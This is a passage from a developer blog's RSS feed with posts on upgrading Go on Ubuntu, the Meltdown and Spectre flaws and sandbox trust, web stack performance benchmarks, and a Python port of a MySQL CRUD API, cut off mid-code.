something new, such as the &amp;ldquo;context&amp;rdquo; package. In this post I&amp;rsquo;ll share the
commands needed to upgrade your Go version.&lt;/p&gt;
&lt;h3 id=&#34;installing-go-16-in-ubuntu-1604&#34;&gt;Installing Go 1.6 in Ubuntu 16.04&lt;/h3&gt;
&lt;p&gt;To install go 1.6 in Ubuntu 16.04 from the repository run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install golang golang-golang-x-tools
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Set your &amp;ldquo;GOPATH&amp;rdquo; and &amp;ldquo;GOROOT&amp;rdquo; by adjusting your &amp;ldquo;~/.bashrc&amp;rdquo; file so that it
reads:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Go is an awesome new language that I love to write code in. I&rsquo;m working on
Ubuntu 16.04 and it comes with Go version 1.6. This works fine, until you need
something new, such as the &ldquo;context&rdquo; package. In this post I&rsquo;ll share the
commands needed to upgrade your Go version.</p>
<h3 id="installing-go-16-in-ubuntu-1604">Installing Go 1.6 in Ubuntu 16.04</h3>
<p>To install go 1.6 in Ubuntu 16.04 from the repository run:</p>
<pre><code>sudo apt-get install golang golang-golang-x-tools
</code></pre>
<p>Set your &ldquo;GOPATH&rdquo; and &ldquo;GOROOT&rdquo; by adjusting your &ldquo;~/.bashrc&rdquo; file so that it
reads:</p>
<pre><code>export GOPATH=~/go
export GOROOT=/usr/lib/go-1.6/
export PATH=$PATH:$GOPATH/bin:$GOROOT/bin
</code></pre>
<p>Now create your go directory and your first project:</p>
<pre><code>mkdir -p ~/go/src/github.com/mevdschee/hellogo
nano ~/go/src/github.com/mevdschee/hellogo/main.go
</code></pre>
<p>Copy-paste the &ldquo;hello world&rdquo; code:</p>
<pre><code>package main

import &quot;fmt&quot;

func main() {
    fmt.Println(&quot;hello world&quot;)
}
</code></pre>
<p>Now install <a href="https://code.visualstudio.com/">Visual Studio Code</a> with the
<a href="https://marketplace.visualstudio.com/items?itemName=lukehoban.Go">&ldquo;Go&rdquo; extension</a>,
open the folder and get coding!</p>
<h3 id="upgrading-go-16-in-ubuntu-1604">Upgrading Go 1.6 in Ubuntu 16.04</h3>
<p>Issue the following commands to replacing your Ubuntu installed go 1.6 with a
newer version:</p>
<pre><code>go get gopkg.in/niemeyer/godeb.v1/cmd/godeb
sudo apt-get purge golang-go golang-golang-x-tools
sudo apt-get autoremove
godeb list
godeb install 1.9.4
</code></pre>
<p>You don&rsquo;t need to set &ldquo;GOROOT&rdquo; in newer versions, so you may adjust your
&ldquo;~/.bashrc&rdquo; file to read:</p>
<pre><code>export GOPATH=~/go
export PATH=$PATH:$GOPATH/bin
</code></pre>
<p>Now restart your Visual Studio Code and update your tools (it will prompt for
that). That&rsquo;s it!</p>
<p>NB: If you ever need a newer version you can simply run: &ldquo;godeb install 1.10&rdquo;</p>
]]></content:encoded>
    </item>
    <item>
      <title>On Meltdown, Spectre and sandbox isolation</title>
      <link>https://www.tqdev.com/2018-meltdown-spectre-sandbox-isolation/</link>
      <pubDate>Sat, 06 Jan 2018 15:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-meltdown-spectre-sandbox-isolation/</guid>
      <description>&lt;p&gt;Our worst fears have been proven true. Sandboxed code execution on most Intel
chips in the past 20 years has been unsafe. And it&amp;rsquo;s even worse than that: there
is no fix, as Intel has been trading security for performance with a technology
called &amp;ldquo;speculative execution&amp;rdquo;. For more information read about the
&lt;a href=&#34;https://blog.mozilla.org/security/2018/01/03/mitigations-landing-new-class-timing-attack/&#34;&gt;Meltdown and Spectre CPU flaws&lt;/a&gt;.
This post will explain the impact and what we can do about it.&lt;/p&gt;
&lt;h3 id=&#34;tin-foil-hat&#34;&gt;Tin foil hat&lt;/h3&gt;
&lt;p&gt;People laugh at me when I tell them running untrusted code in a sandbox is
doomed to fail.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Our worst fears have been proven true. Sandboxed code execution on most Intel
chips in the past 20 years has been unsafe. And it&rsquo;s even worse than that: there
is no fix, as Intel has been trading security for performance with a technology
called &ldquo;speculative execution&rdquo;. For more information read about the
<a href="https://blog.mozilla.org/security/2018/01/03/mitigations-landing-new-class-timing-attack/">Meltdown and Spectre CPU flaws</a>.
This post will explain the impact and what we can do about it.</p>
<h3 id="tin-foil-hat">Tin foil hat</h3>
<p>People laugh at me when I tell them running untrusted code in a sandbox is
doomed to fail.</p>
<blockquote>
<p>&ldquo;Dependencies are an underestimated risk and sandbox isolation is no reason to
skip proper security screening.&rdquo;</p></blockquote>
<p>It has been a theme in the past 10 years: more and more code sandbox technology
appears and is trusted. First, virtual machines images became popular, then
containers with its binary image exchange and last but least the unlimited
supply of minified JavaScript packages that your browser executes without
asking. Even if you trust the supplier of the code that does not make the code
trusted, as the supplier may be depending on packages containing source code
that was never checked (or compared with the binary/obfuscated distribution). If
sandbox technology could be trusted this would all not be a problem, but the
essence of the problem is that it can&rsquo;t and this has been an problem with Java
applets, Flash and now with JavaScript.</p>
<h3 id="examples-of-my-anxiety">Examples of my anxiety</h3>
<p>When doing a clean install of Linux, I&rsquo;m not worried that it contains malware as
the Debian community does an awesome job at reviewing the (open source) packages
and the images and its updates are actually signed. Also when I use commercial
software I&rsquo;m not worried, as I have the liability of the vendor that guarantees
me the software will do no harm. But when I use a container image from somebody
on the web then it is largely unclear to me who wrote it, what its dependencies
are and who reviewed it for the existence of malware. And when I visit a website
that runs JavaScript then I&rsquo;m pretty sure that nobody (not even the site owner)
has any idea whether or not the code contains malware. So I have some worries
about virtual machines, a little more about containers and I&rsquo;m worried most
about JavaScript execution.</p>
<h3 id="lessons-from-virtual-machine-escapes">Lessons from virtual machine escapes</h3>
<p>So Meltdown and Spectre have shown that you cannot safely execute malicious code
in a sandbox. I think it is because the sandboxes are too complex and thus
hard/impossible to lock down completely (especially these side channel attacks
are hard to mitigate). Remember VENOM in May 2015? These kind of
<a href="https://en.wikipedia.org/wiki/Virtual_machine_escape">virtual machine escapes</a>
are found regularly. And what about those numerous local elevation problems in
the kernel in relation to the use of containers? I feel there is a lesson that
we should have learned from Java applets and Flash, before burning ourselves
again on JavaScript (and the next horror: web assembly).</p>
<h3 id="lets-be-realistic-and-constructive">Let&rsquo;s be realistic and constructive</h3>
<p>Instead of crying out &ldquo;I told you so&rdquo; and &ldquo;the world has come to an end&rdquo; let&rsquo;s
be realistic and constructive. When the number of dependencies is low and the
dependencies are open source, popular and signed then the risk is lowered as
these packages can, and will be, reviewed. I don&rsquo;t see the need for virtual
machines or containers outside a lab setup and I really don&rsquo;t understand why
anyone would use them in production. If you do, then you are trading security
for convenience or cost reduction and that does not sound right to me.</p>
<blockquote>
<p>&ldquo;Don&rsquo;t use virtual machines or containers in production: You&rsquo;re trading
security for convenience.&rdquo;</p></blockquote>
<p>When JavaScript dependencies are hosted on the same domain as the content, then
we can simply trust the site owner to distribute a trusted version.
Unfortunately the way that JavaScript based analytics and social media trackers
work is inherently unsafe, loading the scripts (without asking) from a third
party. They should be publishing open source, versioned and signed client
libraries that can be downloaded and self-hosted. The way ad networks currently
work is even worse as the advertisers can push any JavaScript code to the people
viewing the ads.</p>
<h3 id="what-can-you-do">What can you do?</h3>
<p>Avoid sandbox isolation based security if possible. Install Firefox 57.0.4 with
the Meltdown and Spectre patches and install the &ldquo;uBlock origin&rdquo; ad blocker,
blocking as many ads and trackers as possible (using the &ldquo;anti-social&rdquo; and &ldquo;easy
privacy&rdquo; block lists). Next to that install the &ldquo;NoScript&rdquo; browser add-on to
block JavaScript on any site by default and only add sites that you trust. Check
the dependencies on container images that you are about to run and never run
containers from untrusted source. Use an official distributed operating system
image when installing a virtual machine and verify the hash. And never run
untrusted code in any of them. If you need proper isolation, then you should use
a separate machine. And if you are a site owner then you may rethink your
JavaScript dependencies (this site runs without any).</p>
]]></content:encoded>
    </item>
    <item>
      <title>Choosing a high performance web stack</title>
      <link>https://www.tqdev.com/2017-choosing-a-high-performance-web-stack/</link>
      <pubDate>Fri, 17 Nov 2017 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-choosing-a-high-performance-web-stack/</guid>
      <description>&lt;p&gt;In a
&lt;a href=&#34;https://tqdev.com/2017-the-myth-of-the-right-tool-for-the-job&#34;&gt;previous post&lt;/a&gt; I
told you that there is no such thing as the &amp;ldquo;right tool for the job&amp;rdquo;. And this
true for most businesses. Nevertheless there are companies that want to prepare
for scaling up operations to &amp;ldquo;world domination&amp;rdquo; level. In that case there is one
more factor to take into consideration when choosing a web development stack:
performance.&lt;/p&gt;
&lt;h3 id=&#34;why-performance-matters&#34;&gt;Why performance matters&lt;/h3&gt;
&lt;p&gt;To understand why performance matters you first need to know that we are not
talking about a few or even tens of percents of better performance. We are
talking about factors and even magnitudes of better performance. Also we should
consider the costs of rewrites and the costs of switching stacks.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In a
<a href="https://tqdev.com/2017-the-myth-of-the-right-tool-for-the-job">previous post</a> I
told you that there is no such thing as the &ldquo;right tool for the job&rdquo;. And this
true for most businesses. Nevertheless there are companies that want to prepare
for scaling up operations to &ldquo;world domination&rdquo; level. In that case there is one
more factor to take into consideration when choosing a web development stack:
performance.</p>
<h3 id="why-performance-matters">Why performance matters</h3>
<p>To understand why performance matters you first need to know that we are not
talking about a few or even tens of percents of better performance. We are
talking about factors and even magnitudes of better performance. Also we should
consider the costs of rewrites and the costs of switching stacks.</p>
<p>When scaling is needed, you are probably growing fast and the servers can&rsquo;t keep
up. In such a situation you cannot afford to do a rewrite as by the time you
would finish, your customers have walked away. For a regular sized software
product a rewrite typically takes more than a year (in which no other features
can be developed). Some companies may call this a &ldquo;luxury&rdquo; problem upfront
(because it is a sign of success), but I can assure you that that is not how it
feels when you encounter it.</p>
<p>A rewrite in another stack is even more daunting as the developers that have
built the software (and have all the domain knowledge) have to be trained to
program in this new programming language. The only way you see companies
successfully switch stacks is by moving to a micro-service architecture in which
rewrites can be done on a per micro-service basis and thus incremental from a
product perspective.</p>
<h3 id="what-performance-buys-you">What performance buys you</h3>
<p>A high performance stack may have a positive impact on your operational costs as
you have to run less servers when you are dominating the world. Also any smart
algorithm you implement will be more efficient when you choose the right stack.
This means that you may initially do less optimization on your algorithms,
allowing you to develop faster. It may also mean that you may have more budget
to apply algorithms and thus make your software &ldquo;smarter&rdquo;.</p>
<h3 id="why-you-should-not-choose-c">Why you should not choose C</h3>
<p>The two most popular web servers (Apache and Nginx) are written in C. This is
not a coincidence, because (as many people know) the world&rsquo;s best performing
code is written in C. So why wouldn&rsquo;t you write your web application in C? There
are several reasons to think of:</p>
<ol>
<li>Error prone due to manual memory management.</li>
<li>Expensive and hard to find developers for.</li>
<li>Not cross platform (both for OS and hardware).</li>
</ol>
<p>Or as people commonly say: In C it is easy to shoot yourself in the foot.</p>
<h3 id="which-other-languages-perform-well-enough">Which (other) languages perform well enough?</h3>
<p>Well that depends on your scaling aspirations. I have been doing some
benchmarking myself on a (toy) data access API (exposing MySQL data over HTTP in
JSON format) and I found:</p>
<ol>
<li>Java, 14000 req/sec
(<a href="https://github.com/mevdschee/java-crud-api/blob/master/core/src/main/java/com/tqdev/CrudApiHandler.java">source code</a>)</li>
<li>Go, 12000 req/sec
(<a href="https://github.com/mevdschee/go-crud-api/blob/master/api.go">source code</a>)</li>
<li>PHP 7, 6500 req/sec
(<a href="https://github.com/mevdschee/php-crud-api/blob/master/extras/core.php">source code</a>)</li>
<li>C# (.net Core), 5000 req/sec
(<a href="https://github.com/mevdschee/core-data-api/blob/master/Program.cs">source code</a>)</li>
<li>Node.js, 4200 req/sec
(<a href="https://github.com/mevdschee/js-crud-api/blob/master/app.js">source code</a>)</li>
<li>Python, 2600 req/sec
(<a href="https://github.com/mevdschee/py-crud-api/blob/master/api.py">source code</a>)</li>
</ol>
<p><a href="https://tqdev.com/2016-porting-php-crud-api-to-go">(source)</a></p>
<p><a href="https://benchmarksgame.alioth.debian.org/u64q/which-programs-are-fastest.html">Benchmarksgame</a>
is a website in which people implement toy programs in various programming
languages and measures their performance. This benchmarking game shows roughly
the following results:</p>
<ul>
<li>(~1x) C, C++, Rust</li>
<li>(~2x) Fortan, Ada, Chapel, Java, Swift, C#, Go</li>
<li>(~3x) F#, Lisp, Free Pascal, OCaml,</li>
<li>(~5x) Haskell</li>
<li>(~10x) NodeJs, TypeScript, Racket, Dart</li>
<li>(~20x) Hack, Erlang, PHP</li>
<li>(~40x) Perl, Python, Ruby, Smalltalk, JRuby</li>
<li>(~70x) Lua</li>
</ul>
<p><a href="https://benchmarksgame.alioth.debian.org/u64q/which-programs-are-fastest.html">(source)</a></p>
<p>The number before the &ldquo;x&rdquo; indicates how much slower it is than the optimal
implementation (often written in C). If you cross reference that list with the
20 most popular languages (from <a href="https://www.tiobe.com/tiobe-index/">TIOBE</a>) you
see something interesting:</p>
<ol>
<li>Java (~2x)</li>
<li>C (~1x)</li>
<li>C++ (~1x)</li>
<li>Python (~40x)</li>
<li>C# (~2x)</li>
<li>JavaScript (~10x)</li>
<li>Visual Basic .NET (?)</li>
<li>PHP (~20x)</li>
<li>Delphi/Object Pascal (~3x)</li>
<li>Assembly language (?)</li>
<li>R (?)</li>
<li>MATLAB (?)</li>
<li>Ruby (~40x)</li>
<li>Go (~2x)</li>
<li>Perl (~40x)</li>
<li>Scratch (?)</li>
<li>Visual Basic (?)</li>
<li>PL/SQL (?)</li>
<li>Objective-C (?)</li>
<li>Swift (~2x)</li>
</ol>
<p><a href="https://www.tiobe.com/tiobe-index/">(source)</a></p>
<p>As you can see there is no exclusive relationship between popularity and
performance. This can be explained by the fact that most companies do not need
to scale up to a level where performance really matters. Now let&rsquo;s look at the
most popular websites in the world and the back-end technologies that they use:</p>
<ol>
<li><strong>Google:</strong> C, C++, Go, Java, Python with BigTable, MariaDB</li>
<li><strong>Facebook:</strong> Hack, PHP, Python, C++, Java, Erlang, D, Xhp, Haskell with
Vitess, BigTable, MariaDB</li>
<li><strong>YouTube:</strong> C, C++, Python, Java, Go with MariaDB, MySQL, HBase, Cassandra</li>
<li><strong>Yahoo:</strong> PHP with MySQL, PostgreSQL</li>
<li><strong>Amazon:</strong> Java, C++, Perl with Oracle Database</li>
<li><strong>Wikipedia:</strong> PHP, Hack with MySQL, MariaDB</li>
<li><strong>Twitter:</strong> C++, Java, Scala, Ruby with MySQL</li>
<li><strong>eBay:</strong> Java, JavaScript, Scala with Oracle Database</li>
<li><strong>Bing:</strong> ASP.net (C#) with Microsoft SQL Server</li>
<li><strong>MSN:</strong> ASP.net (C#) with Microsoft SQL Server</li>
<li><strong>Microsoft:</strong> ASP.net (C#) with Microsoft SQL Server</li>
<li><strong>Linkedin:</strong> Java, JavaScript, Scala with Voldemort</li>
<li><strong>Pinterest:</strong> Django, Erlang with MySQL, Redis</li>
<li><strong>WordPress:</strong> PHP, JavaScript with MariaDB, MySQL</li>
</ol>
<p><a href="https://en.wikipedia.org/wiki/Programming_languages_used_in_most_popular_websites">(source)</a></p>
<p>Interesting is that this list also shows that there is no exclusive choice for
high performance languages. One would think that this could be explained by the
fact that companies combine slow languages with faster languages to solve their
performance bottlenecks. I would have certainly expected that to be the case,
but the data does not confirm this. Yahoo, Wikipedia, Pinterest and Wordpress
seems to be using relatively slow languages without a faster one next to it,
which is something that puzzles me and that I cannot explain. Maybe PHP does not
perform so bad in practice as many of it&rsquo;s library functions are implemented in
C.</p>
<p>What you do see is that Java as programming language and MySQL as database (even
though some already migrated to MariaDB) are the most popular web technologies
amongst these web giants. And with their overall popularity and their
performance taken into account I feel that choosing Java with MySQL would be a
safe choice for a web start-up that wants to take over the world!</p>
<p><a href="https://www.urbandictionary.com/define.php?term=ymmv">YMMV</a> ;-)</p>
]]></content:encoded>
    </item>
    <item>
      <title>Porting PHP-CRUD-API to Python</title>
      <link>https://www.tqdev.com/2017-porting-php-crud-api-to-python/</link>
      <pubDate>Sun, 12 Nov 2017 10:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-porting-php-crud-api-to-python/</guid>
      <description>&lt;p&gt;I have ported the core of PHP-CRUD-API to Python and the results are
encouraging. In PHP 7 the core executes at 6500 requests per second, while in
Python I can get it to do about 9000 requests per second. It must be noted that
I&amp;rsquo;m not using connection pooling, but just reusing the same single connection
per thread. With connection pooling (as PHP and other implementations do) I
can&amp;rsquo;t get it above 2600 requests per second.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have ported the core of PHP-CRUD-API to Python and the results are
encouraging. In PHP 7 the core executes at 6500 requests per second, while in
Python I can get it to do about 9000 requests per second. It must be noted that
I&rsquo;m not using connection pooling, but just reusing the same single connection
per thread. With connection pooling (as PHP and other implementations do) I
can&rsquo;t get it above 2600 requests per second.</p>
<h3 id="hello-world-web-service-in-python">Hello world web service in Python</h3>
<p>This is the &ldquo;hello world&rdquo; code I wrote for
<a href="https://github.com/jonashaag/bjoern">Bjoern</a>, a fast Python-based web server:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">bjoern</span><span class="o">,</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">application</span><span class="p">(</span><span class="n">environ</span><span class="p">,</span> <span class="n">start_response</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">start_response</span><span class="p">(</span><span class="s1">&#39;200 OK&#39;</span><span class="p">,</span> <span class="p">[(</span><span class="s1">&#39;Content-Type&#39;</span><span class="p">,</span> <span class="s1">&#39;text/plain&#39;</span><span class="p">)])</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="sa">b</span><span class="s1">&#39;Hello World!&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">bjoern</span><span class="o">.</span><span class="n">listen</span><span class="p">(</span><span class="n">application</span><span class="p">,</span> <span class="s2">&#34;localhost&#34;</span><span class="p">,</span> <span class="mi">8080</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">bjoern</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>
</span></span></code></pre></div><p>This is very fast (27k req/sec), which is about as fast as a <code>helloworld.php</code>
file performs (with mod_php on Apache) or the implementations of hello world in
Java or Go.</p>
<h3 id="a-mysql-rest-api-in-python">A MySQL REST API in Python</h3>
<p>Now I wanted to port the
<a href="https://github.com/mevdschee/php-crud-api/blob/master/extras/core.php">core</a> of
the <a href="https://github.com/mevdschee/php-crud-api/">full program</a> to Python and see
how it performs. This is what I came up with:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">bjoern</span><span class="o">,</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">json</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">mysql.connector</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># connect to the mysql database</span>
</span></span><span class="line"><span class="cl"><span class="n">link</span> <span class="o">=</span> <span class="n">mysql</span><span class="o">.</span><span class="n">connector</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s1">&#39;localhost&#39;</span><span class="p">,</span> <span class="n">user</span><span class="o">=</span><span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                <span class="n">password</span><span class="o">=</span><span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span> <span class="n">db</span><span class="o">=</span><span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                <span class="n">charset</span><span class="o">=</span><span class="s1">&#39;utf8&#39;</span><span class="p">,</span> <span class="n">autocommit</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">cursor</span> <span class="o">=</span> <span class="n">link</span><span class="o">.</span><span class="n">cursor</span><span class="p">(</span><span class="n">dictionary</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">app</span><span class="p">(</span><span class="n">environ</span><span class="p">,</span> <span class="n">start_response</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># get the HTTP method, path and body of the request</span>
</span></span><span class="line"><span class="cl">    <span class="n">method</span> <span class="o">=</span> <span class="n">environ</span><span class="p">[</span><span class="s1">&#39;REQUEST_METHOD&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">path</span> <span class="o">=</span> <span class="n">environ</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;PATH_INFO&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">size</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">environ</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;CONTENT_LENGTH&#39;</span><span class="p">,</span> <span class="s1">&#39;0&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">size</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">data</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">environ</span><span class="p">[</span><span class="s1">&#39;wsgi.input&#39;</span><span class="p">]</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">data</span> <span class="o">=</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># retrieve the table and key from the path</span>
</span></span><span class="line"><span class="cl">    <span class="n">table</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">sub</span><span class="p">(</span><span class="sa">r</span><span class="s1">&#39;[^a-zA-Z0-9_]+&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="n">path</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span> <span class="k">else</span> <span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">path</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">2</span> <span class="k">else</span> <span class="s1">&#39;0&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># escape the columns and values from the input object</span>
</span></span><span class="line"><span class="cl">    <span class="n">columns</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">re</span><span class="o">.</span><span class="n">sub</span><span class="p">(</span><span class="sa">r</span><span class="s1">&#39;[^a-zA-Z0-9_]+&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span> <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">data</span><span class="o">.</span><span class="n">keys</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">    <span class="n">values</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">link</span><span class="o">.</span><span class="n">escape_string</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">v</span><span class="p">))</span> <span class="k">for</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">data</span><span class="o">.</span><span class="n">values</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># build the SET part of the SQL command</span>
</span></span><span class="line"><span class="cl">    <span class="n">sql</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">columns</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">        <span class="n">sql</span> <span class="o">+=</span> <span class="p">(</span><span class="s1">&#39;,&#39;</span> <span class="k">if</span> <span class="n">i</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="k">else</span> <span class="s1">&#39;&#39;</span><span class="p">)</span><span class="o">+</span><span class="s1">&#39;`&#39;</span><span class="o">+</span><span class="n">columns</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">+</span><span class="s1">&#39;`=&#34;&#39;</span><span class="o">+</span><span class="n">values</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">+</span><span class="s1">&#39;&#34;&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># create SQL based on HTTP method</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">method</span> <span class="o">==</span> <span class="s1">&#39;GET&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">sql</span> <span class="o">=</span> <span class="s1">&#39;select * from `&#39;</span><span class="o">+</span><span class="n">table</span><span class="o">+</span><span class="s1">&#39;`&#39;</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">key</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">sql</span> <span class="o">+=</span> <span class="s1">&#39; WHERE id=&#39;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">elif</span> <span class="n">method</span> <span class="o">==</span> <span class="s1">&#39;PUT&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">sql</span> <span class="o">=</span> <span class="s1">&#39;update `&#39;</span><span class="o">+</span><span class="n">table</span><span class="o">+</span><span class="s1">&#39;` set &#39;</span><span class="o">+</span><span class="n">sql</span><span class="o">+</span><span class="s1">&#39; where id=&#39;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">elif</span> <span class="n">method</span> <span class="o">==</span> <span class="s1">&#39;POST&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">sql</span> <span class="o">=</span> <span class="s1">&#39;insert into `&#39;</span><span class="o">+</span><span class="n">table</span><span class="o">+</span><span class="s1">&#39;` set &#39;</span><span class="o">+</span><span class="n">sql</span>
</span></span><span class="line"><span class="cl">    <span class="k">elif</span> <span class="n">method</span> <span class="o">==</span> <span class="s1">&#39;DELETE&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">sql</span> <span class="o">=</span> <span class="s1">&#39;delete from `&#39;</span><span class="o">+</span><span class="n">table</span><span class="o">+</span><span class="s1">&#39;` where id=&#39;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># execute SQL statement</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">cursor</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="n">sql</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># print results, insert id or affected row count</span>
</span></span><span class="line"><span class="cl">        <span class="n">start_response</span><span class="p">(</span><span class="s1">&#39;200 OK&#39;</span><span class="p">,</span> <span class="p">[(</span><span class="s1">&#39;Content-Type&#39;</span><span class="p">,</span> <span class="s1">&#39;text/html&#39;</span><span class="p">)])</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">method</span> <span class="o">==</span> <span class="s1">&#39;GET&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">key</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">yield</span> <span class="nb">str</span><span class="p">(</span><span class="s1">&#39;[&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">cursor</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">yield</span> <span class="nb">str</span><span class="p">((</span><span class="s1">&#39;,&#39;</span> <span class="k">if</span> <span class="n">i</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="k">else</span> <span class="s1">&#39;&#39;</span><span class="p">)</span><span class="o">+</span><span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">row</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">                <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">key</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
